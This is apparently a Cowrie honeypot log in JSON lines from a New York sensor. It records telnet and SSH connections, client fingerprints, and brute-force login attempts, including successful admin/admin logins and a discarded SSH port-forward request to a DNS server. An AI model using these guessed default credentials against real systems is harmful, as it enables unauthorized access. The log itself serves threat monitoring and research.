{"eventid":"cowrie.session.closed","duration":37.17657685279846,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:48:19.269514Z","src_ip":"104.245.105.2","session":"b788f38677ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.001959323883057,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:48:36.869231Z","src_ip":"104.245.105.2","session":"b1645f9cab10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47022,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdea5c0860f6","protocol":"telnet","message":"New connection: 104.245.105.2:47022 (10.17.0.5:23) [session: bdea5c0860f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:48:37.816890Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40902,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f4bd3ee4b8e","protocol":"telnet","message":"New connection: 104.245.105.2:40902 (10.17.0.5:23) [session: 7f4bd3ee4b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:48:46.103764Z"}
{"eventid":"cowrie.session.closed","duration":31.510226488113403,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:48:49.987456Z","src_ip":"104.245.105.2","session":"d731e070e75f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.539371490478516,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:49:09.356142Z","src_ip":"104.245.105.2","session":"bdea5c0860f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.88368105888367,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:49:18.987333Z","src_ip":"104.245.105.2","session":"7f4bd3ee4b8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0015435218811,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:49:49.459486Z","src_ip":"173.33.197.75","session":"6a969579c26a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.33.197.75","src_port":37014,"dst_ip":"159.203.135.109","dst_port":23,"session":"76b8575c66dc","protocol":"telnet","message":"New connection: 173.33.197.75:37014 (159.203.135.109:23) [session: 76b8575c66dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:49:50.968618Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":45864,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4b11998aaec","protocol":"telnet","message":"New connection: 104.245.105.2:45864 (10.17.0.5:23) [session: a4b11998aaec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:49:56.229951Z"}
{"eventid":"cowrie.session.closed","duration":120.00170874595642,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:49:56.990477Z","src_ip":"173.33.197.75","session":"36d43e8c6aca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.33.197.75","src_port":60256,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8e951fd9b95","protocol":"telnet","message":"New connection: 173.33.197.75:60256 (159.203.135.109:23) [session: b8e951fd9b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:50:04.741255Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.33.197.75","src_port":60260,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fb7da8900e4","protocol":"telnet","message":"New connection: 173.33.197.75:60260 (159.203.135.109:23) [session: 9fb7da8900e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:50:12.843703Z"}
{"eventid":"cowrie.session.closed","duration":34.72908329963684,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:50:30.958914Z","src_ip":"104.245.105.2","session":"a4b11998aaec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":59530,"dst_ip":"159.203.135.109","dst_port":22,"session":"639413e94c82","protocol":"ssh","message":"New connection: 189.194.140.170:59530 (159.203.135.109:22) [session: 639413e94c82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:50:35.988889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:50:35.993376Z","src_ip":"189.194.140.170","session":"639413e94c82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:50:36.088592Z","src_ip":"189.194.140.170","session":"639413e94c82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"db2fenc1","password":"12345678","message":"login attempt [db2fenc1/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:50:36.506121Z","src_ip":"189.194.140.170","session":"639413e94c82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:50:37.607594Z","src_ip":"189.194.140.170","session":"639413e94c82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":9782,"dst_ip":"10.17.0.5","dst_port":22,"session":"14921d45ecff","protocol":"ssh","message":"New connection: 87.251.64.176:9782 (10.17.0.5:22) [session: 14921d45ecff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:51:18.927377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:51:18.931703Z","src_ip":"87.251.64.176","session":"14921d45ecff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:51:19.027565Z","src_ip":"87.251.64.176","session":"14921d45ecff","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:51:19.315050Z","src_ip":"87.251.64.176","session":"14921d45ecff","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:51:19.413808Z","session":"14921d45ecff","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:51:19.510622Z","src_ip":"87.251.64.176","session":"14921d45ecff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:51:19.741314Z","src_ip":"87.251.64.176","session":"14921d45ecff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38826,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d77d41b1b22","protocol":"telnet","message":"New connection: 104.245.105.2:38826 (10.17.0.5:23) [session: 1d77d41b1b22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:51:41.513989Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38842,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa43e2de135a","protocol":"telnet","message":"New connection: 104.245.105.2:38842 (10.17.0.5:23) [session: fa43e2de135a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:51:45.903599Z"}
{"eventid":"cowrie.session.closed","duration":120.00290584564209,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:51:50.971423Z","src_ip":"173.33.197.75","session":"76b8575c66dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.33.197.75","src_port":41738,"dst_ip":"159.203.135.109","dst_port":23,"session":"270d871fb56b","protocol":"telnet","message":"New connection: 173.33.197.75:41738 (159.203.135.109:23) [session: 270d871fb56b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:51:51.704724Z"}
{"eventid":"cowrie.session.closed","duration":120.00951766967773,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:52:04.750660Z","src_ip":"173.33.197.75","session":"b8e951fd9b95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.33.197.75","src_port":47250,"dst_ip":"159.203.135.109","dst_port":23,"session":"e40fec5c93f6","protocol":"telnet","message":"New connection: 173.33.197.75:47250 (159.203.135.109:23) [session: e40fec5c93f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:52:06.746528Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.216.0.13","src_port":47368,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb549aadf27a","protocol":"telnet","message":"New connection: 8.216.0.13:47368 (159.203.135.109:23) [session: eb549aadf27a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:52:10.233344Z"}
{"eventid":"cowrie.session.closed","duration":30.920179843902588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:52:12.434064Z","src_ip":"104.245.105.2","session":"1d77d41b1b22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00168490409851,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:52:12.845255Z","src_ip":"173.33.197.75","session":"9fb7da8900e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.33.197.75","src_port":57768,"dst_ip":"159.203.135.109","dst_port":23,"session":"53d92b6e3c0d","protocol":"telnet","message":"New connection: 173.33.197.75:57768 (159.203.135.109:23) [session: 53d92b6e3c0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:52:13.536020Z"}
{"eventid":"cowrie.session.closed","duration":30.25658917427063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:52:16.160073Z","src_ip":"104.245.105.2","session":"fa43e2de135a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38678,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7e9af187038","protocol":"telnet","message":"New connection: 104.245.105.2:38678 (10.17.0.5:23) [session: f7e9af187038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:52:21.427908Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.22.58","src_port":47048,"dst_ip":"159.203.135.109","dst_port":22,"session":"95a0f18e97f6","protocol":"ssh","message":"New connection: 202.165.22.58:47048 (159.203.135.109:22) [session: 95a0f18e97f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:52:33.394411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:52:33.397816Z","src_ip":"202.165.22.58","session":"95a0f18e97f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:52:33.684311Z","src_ip":"202.165.22.58","session":"95a0f18e97f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ly123","message":"login attempt [root/ly123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:52:34.853444Z","src_ip":"202.165.22.58","session":"95a0f18e97f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":53754,"dst_ip":"159.203.135.109","dst_port":23,"session":"8baec35b95a4","protocol":"telnet","message":"New connection: 142.93.2.99:53754 (159.203.135.109:23) [session: 8baec35b95a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:52:36.017869Z"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:52:36.149624Z","src_ip":"202.165.22.58","session":"95a0f18e97f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":45692,"dst_ip":"159.203.135.109","dst_port":23,"session":"441f5b1de7cc","protocol":"telnet","message":"New connection: 142.93.2.99:45692 (159.203.135.109:23) [session: 441f5b1de7cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:52:57.620470Z"}
{"eventid":"cowrie.session.closed","duration":37.07283067703247,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:52:58.500626Z","src_ip":"104.245.105.2","session":"f7e9af187038","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":52022,"dst_ip":"10.17.0.5","dst_port":23,"session":"837331f8f929","protocol":"telnet","message":"New connection: 104.245.105.2:52022 (10.17.0.5:23) [session: 837331f8f929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:53:05.153584Z"}
{"eventid":"cowrie.session.closed","duration":32.183483839035034,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:53:08.201253Z","src_ip":"142.93.2.99","session":"8baec35b95a4","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:53:19.247447Z","src_ip":"8.216.0.13","session":"eb549aadf27a","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:53:19.296010Z","src_ip":"8.216.0.13","session":"eb549aadf27a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.88554263114929,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:53:30.505928Z","src_ip":"142.93.2.99","session":"441f5b1de7cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":48468,"dst_ip":"159.203.135.109","dst_port":23,"session":"22f14a28928c","protocol":"telnet","message":"New connection: 142.93.2.99:48468 (159.203.135.109:23) [session: 22f14a28928c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:53:32.508361Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":49160,"dst_ip":"159.203.135.109","dst_port":23,"session":"abee0aa32ca2","protocol":"telnet","message":"New connection: 142.93.2.99:49160 (159.203.135.109:23) [session: abee0aa32ca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:53:36.289700Z"}
{"eventid":"cowrie.session.closed","duration":31.939409971237183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:53:37.092910Z","src_ip":"104.245.105.2","session":"837331f8f929","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":59736,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fc6a6dbde4f","protocol":"telnet","message":"New connection: 142.93.2.99:59736 (159.203.135.109:23) [session: 2fc6a6dbde4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:53:46.715858Z"}
{"eventid":"cowrie.session.closed","duration":120.00289869308472,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:53:51.707513Z","src_ip":"173.33.197.75","session":"270d871fb56b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":44210,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba1a5f60b807","protocol":"telnet","message":"New connection: 142.93.2.99:44210 (159.203.135.109:23) [session: ba1a5f60b807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:01.426423Z"}
{"eventid":"cowrie.session.closed","duration":33.98592758178711,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:06.494188Z","src_ip":"142.93.2.99","session":"22f14a28928c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00183033943176,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:06.748232Z","src_ip":"173.33.197.75","session":"e40fec5c93f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.33.197.75","src_port":59974,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfba5a967e42","protocol":"telnet","message":"New connection: 173.33.197.75:59974 (159.203.135.109:23) [session: cfba5a967e42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:08.253478Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":50264,"dst_ip":"159.203.135.109","dst_port":23,"session":"c726bef14834","protocol":"telnet","message":"New connection: 142.93.2.99:50264 (159.203.135.109:23) [session: c726bef14834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:09.225104Z"}
{"eventid":"cowrie.session.closed","duration":33.573896169662476,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:09.863501Z","src_ip":"142.93.2.99","session":"abee0aa32ca2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.22.58","src_port":47424,"dst_ip":"159.203.135.109","dst_port":22,"session":"b006e521e279","protocol":"ssh","message":"New connection: 202.165.22.58:47424 (159.203.135.109:22) [session: b006e521e279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:13.025404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:13.030019Z","src_ip":"202.165.22.58","session":"b006e521e279","protocol":"ssh"}
